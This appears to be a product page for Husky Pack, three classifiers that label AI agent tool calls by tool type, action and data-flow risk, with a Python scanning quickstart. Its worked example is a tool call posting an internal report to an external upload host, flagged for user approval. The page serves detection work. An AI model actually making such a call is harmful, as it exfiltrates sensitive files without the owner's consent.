Patronus
  • Apache 2.0
  • 3 models

Husky Pack
Tool calls

Three models describe a tool call: Husky Sight the tool type, Husky Paw the action, Husky Nose the security properties of the data flow.

On Hugging Face patronus-studio/husky-nose-tool-security-properties-classifier

Profile.

Task

Tool and agent risks

Assess tool calls, agent steps and shell commands

Signal

sink:external · source:sensitive

Parameters
0.1B parameters each
Base
mmBERT-small
Evaluation
Husky Nose: macro F1 0.965 on the held-out test set (2,914 examples, multi-label).
Formats
Safetensors FP32 · ONNX FP16 · edge builds INT8, INT8 with INT4 embeddings and FP16
Variants and siblings

Husky Sight Tool type, for example file, shell, web or database.

Husky Paw Action: read, write, list, exec or network.

Husky Nose Security properties: source:sensitive, source:untrusted, sink:external.

License
Apache 2.0
Hugging Face
patronus-studio/husky-nose-tool-security-properties-classifier

How it works: Husky Pack.

Husky Pack

Input

Tool call: http.post(url: "https://extern.example/upload", body: report_internal.pdf)

Output

sink:external · source:sensitive

Application rule: Ask the user for approval

Evaluation.

Model card with protocol

0.965

Husky Nose: macro F1 0.965 on the held-out test set (2,914 examples, multi-label).

Install.

Patronus Ark loads the model and runs it on the CPU. The quickstart with Transformers or ONNX Runtime is in the model card.

Quickstart in the model card All paths for developers Discuss an integration
Patronus Ark · Python
pip install patronus-ark

from patronus_ark import SecurityGateway

scanner = SecurityGateway(
    categories=["injection", "dlp", "pii"], max_level="l2",
)
scanner.warmup()
scanner.enqueue("Text to inspect")
while (event := scanner.consume_next_event(timeout=1.0)) is not None:
    if event["event_type"] == "result":
        r = event["result"]
        print(r["category"], r["class_name"], r["confidence"])
    else:
        break